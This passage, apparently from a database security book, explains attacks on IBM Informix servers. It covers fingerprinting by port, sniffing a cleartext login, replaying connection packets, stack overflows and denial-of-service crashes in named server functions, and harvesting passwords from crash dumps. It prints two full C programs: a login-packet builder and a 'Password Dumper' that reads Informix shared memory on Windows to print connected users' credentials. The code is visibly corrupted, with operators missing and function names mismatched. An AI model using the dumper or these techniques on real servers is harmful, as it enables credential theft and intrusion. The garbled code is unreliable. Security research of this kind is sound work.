Informix, by default, listens on TCP port 1526. When doing a TCP port scan and seeing that 1526 is open on a server one could be forgiven for thinking it's running Oracle because Oracle can also often be found listening on TCP port 1526. The question is, can you work out whether you're dealing with Oracle or Informix without sending any data? Well, by looking at what other ports are open you can hazard a good guess. For example, installed with Informix is the Informix Storage Manager. This has a number of processes running and listening on various ports:
Process | TCP Port |
---|---|
nsrmmdbd | 7940 |
nsrmmd | 7941 |
nsrexecd | 7937 |
nsrexecd | 7938 |
nsrd | 7939 |
Windows servers also have portmap.exe listening on TCP port 111.
Chances are, if these ports are open, then you're looking at an Informix server. A good tip for new installs of Informix is not to use the standard TCP ports. While it is a security through obscurity "solution," it's better than having none.
When clients first connect to the server they send an authentication packet. Here's a packet dump:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 407 Identifier: 44498 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xc9b8 Source IP: 192.168.0.34 Dest IP: 192.168.0.99 TCP Header Source port: 1367 Dest port: 1526 Sequence: 558073140 ack: 3526939382 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 17520 Checksum: 0x0cae Urgent Pointer: 0 Raw Data 73 71 41 57 73 42 50 51 41 41 73 71 6c 65 78 65 (sqAWsBPQAAsqlexe) 63 20 6a 65 66 65 20 2d 70 66 39 38 62 62 72 21 (c jefe -pf98bbr!) 21 20 39 2e 32 32 2e 54 43 31 20 20 20 52 44 53 (! 9.22.TC1 RDS) 23 4e 30 30 30 30 30 30 20 2d 64 73 79 73 6d 61 (#N000000 -dsysma) 73 74 65 72 20 2d 66 49 45 45 45 49 20 44 42 50 (ster -fIEEEI DBP) 41 54 48 3d 2f 2f 6f 6c 5f 68 65 63 74 6f 72 20 (ATH=//ol_hector ) 43 4c 49 45 4e 54 5f 4c 4f 43 41 4c 45 3d 65 6e (CLIENT_LOCALE=en) 5f 55 53 2e 43 50 31 32 35 32 20 44 42 5f 4c 4f (_US.CP1252 DB_LO) 43 41 4c 45 3d 65 6e 5f 55 53 2e 38 31 39 20 3a (CALE=en_US.819 :) 41 47 30 41 41 41 41 39 62 32 77 41 41 41 41 41 (AG0AAAA9b2wAAAAA) 41 41 41 41 41 41 41 39 63 32 39 6a 64 47 4e 77 (AAAAAAA9c29jdGNw) 41 41 41 41 41 41 41 42 41 41 41 42 4d 51 41 41 (AAAAAAABAAABMQAA) 41 41 41 41 41 41 41 41 63 33 46 73 5a 58 68 6c (AAAAAAAAc3FsZXhl) 59 77 41 41 41 41 41 41 41 41 56 7a 63 57 78 70 (YwAAAAAAAAVzcWxp) 41 41 41 43 41 41 41 41 41 77 41 4b 62 32 78 66 (AAACAAAAAwAKb2xf) 61 47 56 6a 64 47 39 79 41 41 42 72 41 41 41 41 (aGVjdG9yAABrAAAA) 41 41 41 41 42 4b 67 41 41 41 41 41 41 41 68 4f (AAAABKgAAAAAAAhO) 54 31 4a 43 52 56 4a 55 41 41 41 49 54 6b 39 53 (T1JCRVJUAAAITk9S) 51 6b 56 53 56 41 41 41 4a 55 4d 36 58 46 42 79 (QkVSVAAAJUM6XFBy) 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 (b2dyYW0gRmlsZXNc) 51 57 52 32 59 57 35 6a 5a 57 51 67 55 58 56 6c (QWR2YW5jZWQgUXVl) 63 6e 6b 67 56 47 39 76 62 41 41 41 64 41 41 49 (cnkgVG9vbAAAdAAI) 41 41 41 45 30 67 41 41 41 41 41 41 66 77 00 (AAAE0gAAAAAAfw )
The first thing that stands out is the fact that the password for user jefe is in clear text ”f98bbr!. Anyone with access to the network in a non-switched environment will be able to sniff this traffic and gather user IDs and passwords.
(Password and data encryption is available for Informix as a "Communication Support Module," or CSM. Although the CSMs are installed they're not enabled by default.)
You can also see two chunks of base64 encoded text. The first, AWsBPQAA, decodes to
\x01\x6B\x01\x3D\x00\x00
The first 2 bytes is the total length of the data. The remaining 4 bytes are consistent. The second chunk of base64 text contains information such as client paths and so on. Although this text is processed it isn't actually used to authenticate the user. In fact, the text can be replayed from any client to any server with a different username and password. The code here can be used to connect to an arbitrary server with a username, password, database, and database path of your choosing:
#include <stdio.h> #include <windows.h> #include <winsock.h> #define PHEADER 2 #define HSIZE 8 #define SQLEXEC 8 #define PASS_START 2 #define VERSION 12 #define RDS 13 #define DB_START 2 #define IEEE_START 2 #define IEEE 6 #define DP_START 2 #define DBM_START 2 #define DBMONEY 3 #define CL_START 14 #define CL 13 #define CPC_START 17 #define CPC 2 #define DBL_START 10 #define DBL 10 int MakeRequest(); int StartWinsock(void); int CreateConnectPacket(); int Base64Encode(char *str); int IfxPort = 1516; int len = 0; struct sockaddr_in s_sa; struct hostent *he; unsigned int addr; unsigned char host[260]=""; unsigned char *Base64Buffer = NULL; unsigned char username[4260]=""; unsigned char password[4260]=""; unsigned char database[4260]=""; unsigned char dbaspath[4260]=""; unsigned char crud[]= "\x3a\x41\x47\x30\x41\x41\x41\x41\x39\x62\x32\x77\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x39\x63\x32\x39\x6a\x64\x47\x4e" "\x77\x41\x41\x41\x41\x41\x41\x41\x42\x41\x41\x41\x42\x4d\x51\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x63\x33\x46\x73\x5a\x58\x68" "\x6c\x59\x77\x41\x41\x41\x41\x41\x41\x41\x41\x56\x7a\x63\x57\x78" "\x70\x41\x41\x41\x43\x41\x41\x41\x41\x41\x77\x41\x4b\x62\x32\x78" "\x66\x61\x47\x56\x6a\x64\x47\x39\x79\x41\x41\x42\x72\x41\x41\x41" "\x41\x41\x41\x41\x41\x44\x6d\x67\x41\x41\x41\x41\x41\x41\x41\x64" "\x54\x53\x56\x4a\x4a\x56\x56\x4d\x41\x41\x41\x64\x54\x53\x56\x4a" "\x4a\x56\x56\x4d\x41\x41\x43\x42\x44\x4f\x6c\x78\x45\x62\x32\x4e" "\x31\x62\x57\x56\x75\x64\x48\x4d\x67\x59\x57\x35\x6b\x49\x46\x4e" "\x6c\x64\x48\x52\x70\x62\x6d\x64\x7a\x58\x45\x52\x42\x56\x6b\x6c" "\x45\x41\x41\x42\x30\x41\x41\x67\x41\x41\x41\x54\x53\x41\x41\x41" "\x41\x41\x41\x42\x5f\x00"; unsigned char header[12]="\x01\x7A\x01\x3D\x00\x00"; char *ConnectPacket = NULL; int CreateConnectPacket() { unsigned short x = 0; len = 0; len = PHEADER + HSIZE + SQLEXEC; len = len + PASS_START + VERSION + RDS; len = len + DB_START + IEEE_START + IEEE; len = len + DP_START + DBM_START + DBMONEY; len = len + CL_START + CL + CPC_START; len = len + CPC + DBL_START + DBL; len = len + strlen(username) + 1; len = len + strlen(password) + 1; len = len + strlen(database) + 1; len = len + strlen(dbaspath) + 1; len = len + sizeof(crud); len ++; ConnectPacket = (char *)malloc(len); if(!ConnectPacket) return 0; memset(ConnectPacket,0,len); strcpy(ConnectPacket,"\x73\x71"); // HEADER strcat(ConnectPacket,"\x41\x59\x49\x42\x50\x51\x41\x41"); // Size strcat(ConnectPacket,"\x73\x71\x6c\x65\x78\x65\x63\x20"); // sqlexec strcat(ConnectPacket,username); // username strcat(ConnectPacket,"\x20"); // space strcat(ConnectPacket,"\x2d\x70"); // password_start strcat(ConnectPacket,password); // password * strcat(ConnectPacket,"\x20"); // space strcat(ConnectPacket,"\x39\x2e\x32\x32\x2e\x54\x43\x33\x20\x20\x20"); // version strcat(ConnectPacket,"\x52\x44\x53\x23\x4e\x30\x30\x30\x30\x30\x30\x20"); // RDS strcat(ConnectPacket,"\x2d\x64"); // database_start strcat(ConnectPacket,database); // database * strcat(ConnectPacket,"\x20"); // space strcat(ConnectPacket,"\x2d\x66"); // ieee_start strcat(ConnectPacket,"\x49\x45\x45\x45\x49\x20"); // IEEE strcat(ConnectPacket,"\x44\x42\x50\x41\x54\x48\x3d\x2f\x2f"); // dbpath_start strcat(ConnectPacket,dbaspath); // dbpath * strcat(ConnectPacket,"\x20"); // space strcat(ConnectPacket,"\x44\x42\x4d\x4f\x4e\x45\x59\x3d"); // dbmoney_start strcat(ConnectPacket,"\x24\x2e\x20"); // dbmoney strcat(ConnectPacket,"\x43\x4c\x49\x45\x4e\x54\x5f\x4c\x4f\x43\x41\x4c\x45\x3d"); // client_locale_start strcat(ConnectPacket,"\x65\x6e\x5f\x55\x53\x2e\x43\x50\x31\x32\x35\x32\x20"); // client_locale strcat(ConnectPacket,"\x43\x4c\x4e\x54\x5f\x50\x41\x4d\x5f\x43\x41\x50\x41\x42\x4c\x45\x3d"); // client_pam_capable_start strcat(ConnectPacket,"\x31\x20"); // client_pam_capable strcat(ConnectPacket,"\x44\x42\x5f\x4c\x4f\x43\x41\x4c\x45\x3d"); // db_locale_start strcat(ConnectPacket,"\x65\x6e\x5f\x55\x53\x2e\x38\x31\x39\x20"); // db_locale strcat(ConnectPacket,crud); x = (unsigned short) strlen(ConnectPacket); x = x >> 8; header[0]=x; x = (unsigned short) strlen(ConnectPacket); x = x - 3; x = x << 8; x = x >> 8; header[1]=x; Base64Encode(header); if(!Base64Buffer) return 0; memmove(&ConnectPacket[2],Base64Buffer,8); return 1; } int main(int argc, char *argv[]) { unsigned int ErrorLevel=0; int count = 0; char buffer[100000]=""; if(argc != 7) { printf("Informix Tester.\n"); printf("C:\>%s host port username password database dbpath\n",argv[0]); return 0; } printf("Here"); strncpy(host,argv[1],256); strncpy(username,argv[3],4256); strncpy(password,argv[4],4256); strncpy(database,argv[5],4256); strncpy(dbaspath,argv[6],4256); IfxPort = atoi(argv[2]); if(CreateConnectPacket()==0) return printf("Error building Connect packet.\n"); printf("\n%s\n\n\n",ConnectPacket); ErrorLevel = StartWinsock(); if(ErrorLevel==0) return printf("Error starting Winsock.\n"); MakeRequest1(); WSACleanup(); if(Base64Buffer) free(Base64Buffer); return 0; } int StartWinsock() { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) return 0; if ( LOBYTE( wsaData.wVersion ) != 2 HIBYTE( wsaData.wVersion ) != 0 ) { WSACleanup(); return 0; } if (isalpha(host[0])) { he = gethostbyname(host); s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); } else { addr = inet_addr(host); s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,&addr,4); he = (struct hostent *)1; } if (he == NULL) { WSACleanup(); return 0; } return 1; } int MakeRequest1() { char resp[600]=""; int snd=0,rcv=0,count=0, var=0; unsigned int ttlbytes=0; unsigned int to=10000; struct sockaddr_in cli_addr; SOCKET cli_sock; char *ptr = NULL; char t[20]=""; char status[4]=""; cli_sock=socket(AF_INET,SOCK_STREAM,0); if (cli_sock==INVALID_SOCKET) return printf("socket error.\n"); setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int)); s_sa.sin_port=htons((unsigned short)1526); if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) { closesocket(cli_sock); printf("Connect error.\n"); ExitProcess(0); } send(cli_sock,ConnectPacket,strlen(ConnectPacket)+1,0); rcv = recv(cli_sock,resp,596,0); if(rcv == SOCKET_ERROR) { printf("recv error.\n"); goto endfunc; } printf("Recv: %d bytes [%x]\n",rcv,resp[0]); count = 0; while(count < rcv) { if(resp[count]==0x00 resp[count] < 0x20 resp[count] > 0x7F) resp[count]=0x20; count ++; } printf("%s\n\n\n",resp); endfunc: ZeroMemory(resp,600); closesocket(cli_sock); return 0; } int Base64Encode(char *str) { unsigned int length = 0, cnt = 0, res = 0, count = 0, l = 0; unsigned char A = 0; unsigned char B = 0; unsigned char C = 0; unsigned char D = 0; unsigned char T = 0; unsigned char tmp[8]=""; unsigned char *ptr = NULL, *x = NULL; length = strlen(str); if(length > 0xFFFFFF00) { printf("size error.\n"); return 0; } res = length % 3; if(res) { res = length - res; res = length / 3; res ++; } else res = length / 3; l = res; res = res * 4; if(res < length) { printf("size error"); return 0; } Base64Buffer = (unsigned char *) malloc(res+1); if(!Base64Buffer) { printf("malloc error"); return 0; } memset(Base64Buffer,0,res+1); ptr = (unsigned char *) malloc(length+16); if(!ptr) { free(Base64Buffer); Base64Buffer = 0; printf("malloc error.\n"); return 0; } memset(ptr,0,length+16); x = ptr; strcpy(ptr,str); while(count < l) { A = ptr[0] >> 2; B = ptr[0] << 6; B = B >> 2; T = ptr[1] >> 4; B = B + T; C = ptr[1] << 4; C = C >> 2; T = ptr[2] >> 6; C = C + T; D = ptr[2] << 2; D = D >> 2; tmp[0] = A; tmp[1] = B; tmp[2] = C; tmp[3] = D; while(cnt < 4) { if(tmp[cnt] < 26) tmp[cnt] = tmp[cnt] + 0x41; else if(tmp[cnt] < 52) tmp[cnt] = tmp[cnt] + 0x47; else if(tmp[cnt] < 62) tmp[cnt] = tmp[cnt] - 4; else if(tmp[cnt] == 62) tmp[cnt] = 0x2B; else if(tmp[cnt] == 63) tmp[cnt] = 0x2F; else { free(x); free(Base64Buffer); Base64Buffer = NULL; return 0; } cnt ++; } cnt = 0; ptr = ptr + 3; count ++; strcat(Base64Buffer,tmp); } free(x); return 1; }
One thing you might come across while playing with this is that if you supply an overly long username, a stack-based buffer overflow can be triggered. What's more, it can be exploited easily. This presents a real threat; if attackers can access your Informix server via the network, they can exploit this overflow without a valid username or password to gain control over the server. All versions of Informix on all operating systems are vulnerable.
Assuming you don't exploit the overflow and attempt to authenticate and do so successfully, you should get a response similar to
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 294 Identifier: 58892 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x91ef Source IP: 192.168.0.99 Dest IP: 192.168.0.34 TCP Header Source port: 1526 Dest port: 1367 Sequence: 3526939382 ack: 558073507 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 65168 Checksum: 0xbc48 Urgent Pointer: 0 Raw Data 00 fe 02 3d 10 00 00 64 00 65 00 00 00 3d 00 06 ( = d e = ) 49 45 45 45 49 00 00 6c 73 72 76 69 6e 66 78 00 (IEEEI lsrvinfx ) 00 00 00 00 00 2d 49 6e 66 6f 72 6d 69 78 20 44 ( -Informix D) 79 6e 61 6d 69 63 20 53 65 72 76 65 72 20 56 65 (ynamic Server Ve) 72 73 69 6f 6e 20 39 2e 34 30 2e 54 43 35 54 4c (rsion 9.40.TC5TL) 20 20 00 00 23 53 6f 66 74 77 61 72 65 20 53 65 ( #Software Se) 72 69 61 6c 20 4e 75 6d 62 65 72 20 41 41 41 23 (rial Number AAA#) 42 30 30 30 30 30 30 00 00 0a 6f 6c 5f 68 65 63 (B000000 ol_hec) 74 6f 72 00 00 00 01 3c 00 00 00 00 00 00 00 00 (tor < ) 00 00 00 00 00 00 6f 6c 00 00 00 00 00 00 00 00 ( ol ) 00 3d 73 6f 63 74 63 70 00 00 00 00 00 00 00 66 ( =soctcp f) 00 00 00 00 20 a0 00 00 00 00 00 15 00 00 00 6b ( k) 00 00 00 00 00 00 07 60 00 00 00 00 00 07 68 65 ( ` he) 63 74 6f 72 00 00 07 48 45 43 54 4f 52 00 00 10 (ctor HECTOR ) 46 3a 5c 49 6e 66 6f 72 6d 69 78 5c 62 69 6e 00 (F:\Informix\bin ) 00 74 00 08 00 f6 00 06 00 f6 00 00 00 7f ( t )
Here you can extract some vital clues about the remote server: its version and the operating system. The first "T" in 9.40.TC5TL denotes that the server is running on a Windows server. A "U" implies Unix. The version is 9.40 release 5. You can also see the install path ”F:\Informix\bin. These little bits of information are helpful when forming attack strategies. If you fail to authenticate successfully you can still draw certain bits of useful information. Here's the response for a failed authentication attempt for user dumbo:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 230 Identifier: 58961 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x91a6 Source IP: 192.168.0.99 Dest IP: 192.168.0.102 TCP Header Source port: 1526 Dest port: 3955 Sequence: 3995092107 ack: 1231545498 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32720 Checksum: 0x65bc Urgent Pointer: 0 Raw Data 00 be 03 3d 10 00 00 64 00 65 00 00 00 3d 00 06 ( = d e = ) 49 45 45 45 49 00 00 6c 73 72 76 69 6e 66 78 00 (IEEEI lsrvinfx ) 00 00 00 00 00 05 56 31 2e 30 00 00 04 53 45 52 ( V1.0 SER) 00 00 08 61 73 66 65 63 68 6f 00 00 00 00 00 00 ( asfecho ) 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 6c 00 ( ol ) 00 00 00 00 00 00 00 00 3d 73 6f 63 74 63 70 00 ( =soctcp ) 00 00 00 00 01 00 66 00 00 00 00 00 00 fc 49 00 ( f I ) 00 00 00 00 01 00 00 00 05 64 75 6d 62 6f 00 6b ( dumbo k) 00 00 00 00 00 00 07 60 00 00 00 00 00 07 68 65 ( ` he) 63 74 6f 72 00 00 07 48 45 43 54 4f 52 00 00 10 (ctor HECTOR ) 46 3a 5c 49 6e 66 6f 72 6d 69 78 5c 62 69 6e 00 (F:\Informix\bin ) 00 74 00 08 00 f6 00 06 00 f6 00 00 00 7f ( t )
You can see the install path still. From this you can deduce you're looking at an Informix server on Windows ”a Unix system would have /opt/informix/bin or similar.
One final point to note here is that the Informix command-line utilities such as onstat and onspaces connect over sockets as well. An attacker can retrieve useful information about the server setup without needing to authenticate.
Once authenticated to the server, the client can start sending requests . The second byte of request packets provides an index into a function table within the main database server process. When executing a standard SQL query, for example, the second byte of the request packet is 0x02. This maps to the _sq_prepare function. The following table lists code to function mappings. Those codes that aren't listed usually translate to a dummy function that simply returns 0.
0x01 _sq_cmnd 0x02 _sq_prepare 0x03 _sq_curname 0x04 _sq_id 0x05 _sq_bind 0x06 _sq_open 0x07 _sq_execute 0x08 _sq_describe 0x09 _sq_nfetch 0x0a _sq_close 0x0b _sq_release 0x0C _sq_eot 0x10 _sq_exselect 0x11 _sq_putinsert 0x13 _sq_commit 0x14 _sq_rollback 0x15 _sq_svpoint 0x16 _sq_ndescribe 0x17 _sq_sfetch 0x18 _sq_scroll 0X1A _sq_dblist 0x23 _sq_beginwork 0x24 _sq_dbopen 0x25 _sq_dbclose 0x26 _sq_fetchblob 0x29 _sq_bbind 0x2a _sq_dprepare 0x2b _sq_hold 0x2c _sq_dcatalog 0x2f _sq_isolevel 0x30 _sq_lockwait 0x31 _sq_wantdone 0x32 _sq_remview 0x33 _sq_remperms 0x34 _sq_sbbind 0x35 _sq_version 0x36 _sq_defer 0x38 004999C0 0x3a _sq_remproc 0x3b _sq_exproc 0x3c _sq_remdml 0x3d _sq_txprepare 0x3f _sq_txforget 0x40 _sq_txinquire 0x41 _sq_xrollback 0x42 _sq_xclose 0x43 _sq_xcommit 0x44 _sq_xend 0x45 _sq_xforget 0x46 _sq_xprepare 0x47 _sq_xrecover 0x48 _sq_xstart 0x4a _sq_ixastate 0x4b _sq_descbind 0x4c _sq_rempperms 0x4d _sq_setgtrid 0x4e _sq_miscflags 0x4f _sq_triglvl 0x50 _sq_nls 0x51 _sq_info 0x52 _sq_xopen 0x53 004999F0 0x54 _sq_txstate 0x55 _sq_distfetch 0x57 _sq_reoptopen 0x58 _sq_remutype 0x59 00499AC0 0x5a 00499B90 0x5c _sq_fetarrsize 0x60 00499C70 0x61 _sq_lodata 0x64 _sq_rettype 0x65 _sq_getroutine 0x66 _sq_exfproutine 0x69 _sq_relcoll 0x6c _sq_autofree 0x6D _sq_serverowner 0x6f _sq_ndesc_id 0x73 _sq_beginwk_norepli 0x7c _sq_idescribe 0x7E _sq_protocols 0x85 _sq_variable_putinsert
Let's take a look at some of the more interesting functions. For example, sq_scroll and sqbbind will cause the server to crash if no parameters are passed; the server dies with a NULL pointer exception causing a denial of service. We'll look at these shortly as a way of obtaining user IDs and passwords. Others are vulnerable to classic stack-based buffer overflow vulnerabilities ”namely _sq_dcatalog, _sq_distfetch, _sq_remperms, _sq_rempperms, _sq_remproc, and sq_remview. All of these functions create several stack-based buffers and then call a function getname. The getname function takes a pointer to a buffer and then calls __iget_pbuf (which calls iread) to read data from the network; this is written to the buffer. If more data is supplied than the buffer can hold, it overflows. This overwrites the saved return address allowing an attacker to gain control of the process's path of execution. (Note these vulnerabilities have been reported to IBM and by the time this book is published the patches should be available from the IBM web site.) Exploits for these issues are trivial to write, as is usually the case with classic stack-based overflows.
I just mentioned a couple of denial of service attacks but interestingly these are more than just that. When Informix crashes it writes out a number of log files, including a dump of shared memory sections. These dumps are world readable and are written to the tmp directory with a filename similar to shmem.AAAAAAAA.0, where AAAAAAAA is a hex number. What's so useful about this is that every user that is connected to the database server at the time has their initial connection details in here. Gaining access to these dumps will reveal the usernames with their passwords. This could allow a low-privileged user to discover the password of an account with more privileges.
(You can stop Informix dumping shared memory to disk in the event of a crash by setting DUMPSHMEM to 0 in the onconfig configuration file.)
Using built-in features of Informix it's possible to read these dump files via SQL queries. We'll discuss gaining access to the filesystem of the server later on. As it happens, on Windows, users with local accounts don't actually need to cause the server to crash to get access to these usernames and passwords. The Everyone group on Windows has read access to the shared memory section ”on Linux it's better protected and can't be attached to with shmat() by a low-privileged account. On Windows, users can just read the shared memory section live. This code will extract logged on usernames and passwords from Informix on Windows:
#include <windows.h> #include <stdio.h> #include <stdlib.h> int main( int argc, char * argv[] ) { HANDLE h; unsigned char *ptr; printf("\n\n\tInformix Password Dumper\n\n"); if(argc !=2) { printf("\tUsage:\n\n\tC:\>%s SECTION\n\n",argv[0]); printf("\te.g.\n\n\tC:\>%s T1381386242\n\n",argv[0]); printf("\tThis utility uses MapViewOfFile to read a shared memory section\n"); printf("\tin the Informix server process and dumps the passwords of all\n"); printf("\tconnected users.\n\n\tDavid Litchfield\n\t(davidl@ngssoftware.com)\n"); printf("\t11th January 2004\n\n"); return 0; } h = OpenFileMapping(FILE_MAP_READ, FALSE, argv[1]); if(!h) return printf("Couldn't open section %s\n",argv[1]); ptr = (unsigned char *)MapViewOfFile( h, FILE_MAP_READ, 0, 0, 0 ); printf("The following users are connected:\n\n"); __try { while( 1 ) { if(*ptr == ' ') { ptr ++; if(*ptr == '-') { ptr ++; if(*ptr == 'p') { ptr ++; dumppassword(ptr); } } } ptr++; } } __except( EXCEPTION_EXECUTE_HANDLER ) { } return 0; } // <SP>USERNAME<SP>-pPASSWORD<SP> int dumppassword(unsigned char *fptr) { unsigned char count = 0; unsigned char *ptr = NULL; ptr = fptr - 4; while(count < 255) { if(*ptr == 0x00) return printf("Error\n"); if(*ptr == 0x20) break; ptr --; count ++; } count = 0; ptr ++; printf("Username: "); while(count < 1) { if(*ptr == 0x20) break; printf("%c",*ptr); ptr ++; } count = 0; ptr = ptr + 3; printf("\t\tPassword: "); while(count < 1) { if(*ptr == 0x20) break; printf("%c",*ptr); ptr ++; } count = 0; printf("\n"); return 0; }